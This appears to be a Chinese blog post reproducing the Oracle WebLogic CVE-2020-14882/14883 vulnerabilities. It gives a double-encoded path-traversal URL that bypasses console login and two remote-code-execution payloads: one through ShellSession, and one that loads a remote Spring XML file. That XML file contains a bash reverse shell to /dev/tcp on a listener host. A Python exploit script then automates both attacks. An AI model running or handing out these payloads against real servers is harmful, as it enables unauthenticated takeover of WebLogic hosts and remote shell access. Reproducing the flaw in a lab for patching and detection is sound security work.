Weblogic_CVE-2020-14882/14883

漏洞概述
    CVE-2020-14882:
    未经身份验证的远程攻击者可能通过构造特殊的 HTTP GET请求,利用该漏洞在受影响的 WebLogic Server 上执行任意代码
 
影响版本
    Oracle Weblogic Server 10.3.6.0.0
    Oracle Weblogic Server 12.1.3.0.0
    Oracle Weblogic Server 12.2.1.3.0
    Oracle Weblogic Server 12.2.1.4.0
    Oracle Weblogic Server 14.1.1.0.0
 
漏洞复现
    测试2020-14882:
    通过访问固定路径,可以登录后台(低权限)
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal
 
测试2020-14883:
远程利用:
方式1:访问固定路径+配置执行命令
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")
 
方式2:构造XML文件,将XML文件保存在weblogic可以访问的服务器上,通过修改url连接,访问到固定的XML文件,XML文件上带有执行命令
固定URL,里面有保存XML文件路径
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://example.com/rce.xml")
XML文件内容:
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[bash -i >& /dev/tcp/172.21.0.1/3030 0>&1]]></value>
          </list>
        </constructor-arg>
    </bean>
</beans>
 
具体步骤:
1.开启HTTP服务,并将XML文件该路径
2.开启监听任务
3.在浏览器或BP中修改URL
4.反弹shell成功:
 
EXP利用
    给出EXP利用(供参考,需要修改参数)
#!/usr/bin/python3
import requests
 
'''
CVE-2020-14882:
未经身份验证的远程攻击者可能通过构造特殊的 HTTP GET请求,利用该漏洞在受影响的 WebLogic Server 上执行任意代码
影响版本:
    Oracle Weblogic Server 10.3.6.0.0
    Oracle Weblogic Server 12.1.3.0.0
    Oracle Weblogic Server 12.2.1.3.0
    Oracle Weblogic Server 12.2.1.4.0
    Oracle Weblogic Server 14.1.1.0.0
'''
 
#方式 1 : 利用访问XML文件方式,进行远程shell
def XML_exploit(ip,file_ip):
    payload = '/console/css/%252e%252e%252fconsole.portal?' \
              '_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.' \
              'support.FileSystemXmlApplicationContext("{}")'.format(file_ip)
 
 
    headers = {
        "User-Agent": "Mozilla",
        "Host": ip.split("//")[1],
        "Accept-Encoding": "gzip, deflate",
        "cmd": "tasklist",
        "Content-Type": "application/x-www-form-urlencoded"
    }
 
    url = ip+payload
    print(url)
    try:
        response = requests.get(url, headers=headers, timeout=10, verify=False)
    except Exception as e:
        print(e)
 
#方式2:利用URL进行远程利用
def URL_exploit(ip):
    payload = '''/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success88');")'''
    url = ip+payload
    try:
        response = requests.get(url,timeout=10, verify=False)
    except Exception as e:
        print(e)
 
if __name__ == '__main__':
    ip = 'http://192.168.152.130:7001'
    file_ip = 'http://192.168.152.130:8000/poc.xml'
    URL_exploit(ip)
    XML_exploit(ip,file_ip)

 

 
posted @ 2021-02-05 17:51  峰中追风  阅读(240)  评论(0编辑  收藏  举报

___________________________________________________________________________________________没有白跑的路